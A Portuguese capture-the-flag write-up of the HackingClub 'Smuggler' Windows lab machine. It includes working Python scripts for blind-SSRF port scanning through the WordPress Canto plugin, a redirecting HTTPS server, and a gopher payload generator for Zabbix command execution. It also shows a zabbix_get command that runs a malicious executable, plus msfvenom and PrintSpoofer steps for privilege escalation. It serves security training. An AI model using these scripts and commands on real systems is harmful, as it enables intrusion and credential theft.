HackingClub Smuggler Write-up

A máquina Smuggler pertence ao Hackingclub, para poder ter acesso a essa máquina é necessário assinar o Hackingclub.

A máquina está classificada como nível Difícil e seu sistema operacional é Windows.

                                               Reconhecimento

Primeira etapa é fazer o reconhecimento inicial de portas e serviços disponíveis no alvo. Para essa finalidade utilizaremos a ferramenta Nmap.

Nmap -sS -sV -v <IP>

Resultado:

Identificamos os serviços e as portas disponíveis, como também o nome do domínio smuggler.uhclabs.

Adicione no / etc /hosts.

Verificaremos o servidor web na porta 80.

Resultado:

Um sistema Wordpress executando no servidor.

Iniciaremos uma varredura por plugins instalado no Wordpress, utilizando a ferramenta wpscan.

O wpscan apresenta muitas informações, irei mostrar somente o necessário.

Resultado:

O plugin canto está desatualizado e possivelmente possui alguma vulnerabilidade.

Pesquisando no Google por “plugin canto 1.3.0” encontraremos a CVE-2020-28976.

Vamos verificar se a vulnerabilidade está disponível na máquina.

Iniciando um servidor http python.

Com o curl podemos enviar a requisição para o servidor.

Resultado:

Aparentemente chegou uma requisição criptografada, vamos tentar iniciar um servidor https com python.

Iniciamos um servidor https.

Resultado:

Com a vulnerabilidade SSRF podemos fazer varredura de portas no alvo, mas trata-se de um SSRF blind, ou seja, não obtemos nenhum tipo de resposta do servidor. Precisaremos analisar o comportamento da aplicação para encontrar um padrão.

Utilizando o python podemos medir quanto tempo leva para o servidor responder a requisição, sabendo que a porta 445 e 80 estão abertas podemos comparar o tempo de resposta de cada uma com portas fechadas.

Resultado:

Portas abertas são menores que 2.

Com essa informação podemos criar um script para executar uma varredura de portas baseada em tempo.

Script:

#!/usr/bin/env python
import requests

url = 'http://smuggler.uhclabs/wp-content/plugins/canto/includes/lib/detail.php?subdomain=127.0.0.1:{}?'
ports=[80,443,445,8080,3254,3005,9000,8000,4000,10050,1987,3302,3352,1000,7777]

for port in ports:
        payload=url.format(port)
        req=requests.get(payload)

        if(req.elapsed.total_seconds()< 2.00000 ):
                print(" {} is OPEN".format(port))

        else:
                pass

Esse script será o responsável por encontrar portas abertas localmente no alvo.

Resultado:

Uma rápida pesquisada no Google e encontramos o possível serviço que está sendo executado na porta 10050.

Se conseguirmos redirecionar a requisição do servidor que vem via SSRF, podemos interagir com serviço do zabbix via protocol smuggling.

Precisaremos de dois scripts para isso.

1º script de servidor https que redireciona a requisição.

from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl,urllib,base64

payload=input("insira a payload: ")

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
        def do_GET(self):
                parsed = urllib.parse.urlparse(self.path)
                self.send_response(302)
                self.send_header('Location', payload)
                self.end_headers()


httpd = HTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)

httpd.socket = ssl.wrap_socket (httpd.socket, 
        keyfile="key.pem", 
        certfile='certificate.pem', server_side=True)



httpd.serve_forever()

2º script que gera o payload para executar comando no zabbix.

import struct
import urllib.parse
import sys

header = "ZBXD\x01"
comando = sys.argv[1]
key = f'system.run[({comando})]'

payload="gopher://127.0.0.1:10050/_".strip()
payload+=urllib.parse.quote_plus(header).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
payload+=urllib.parse.quote_plus(struct.pack("<Q", len(key)+2).decode()).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
payload+=urllib.parse.quote_plus(key).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()

print(payload)

Vamos verificar se irá funciona.

Um simples ping na minha máquina para comprovar a execução.

Payload inserido no https.py

Enviamos a requisição.

Pacotes ICMP chegaram na minha máquina. O Protocolo ICMP é utilizado pelo utilitário ping que executamos no alvo.

                                                     Exploração

Se tentarmos executar uma reverse shell a conexão será derrubada pelo zabbix, precisamos ter outra abordagem.

Podermos ler o arquivo wp-config.php do Wordpress a procura de alguma credencial.

Gerando o payload.

Faremos o mesmo processo para redirecionar a requisição com o novo payload.

Dessa vez, utilizaremos o browser invés do utilitário curl.

Resultado:

Descobrimos credencias do banco de dados do Wordpress, vamos tentar reutilizar esse password em outro usuário.

Vamos procurar por usuários na máquina.

Resultado:

Encontramos o usuário zabbix, vamos tentar se conectar utilizando-o e o password descoberto anteriormente.

Resultado:

Shell!!

Flag user encontrada!!

                                           Escalação de privilégios.

Precisaremos conseguir uma shell como serviço para conseguir a escalação de privilegios.

Primeiro geraremos um executável malicioso com o msfvenom.

Iniciaremos um servidor http em python.

E iniciamos o download do executável na máquina Windows.

Utilizaremos o zabbix_get.exe para executar nosso o exe malicioso e obtermos a reverse shell como serviço.

Comando :

./zabbix_get.exe -s 127.0.0.1 -k 'system.run[C:\Windows\Temp\hack.exe,nowait]’

Executamos o comando.

Conseguimos, estamos como serviço.

Executamos whoami /priv .

Resultado:

Com Impersonate Privilege podemos executar processos em nome de um usuário, para nos ajudar nesse processo utilizaremos o PrintSpoofer.exe.

Enviaremos o PrintSpoofer para maquina utilizando mesmo método do executável malicioso.

Executamos o PrintSpoofer.

Resultado:

Agora temos a permissão para acessar o diretório Administrator.

A Flag root capturada.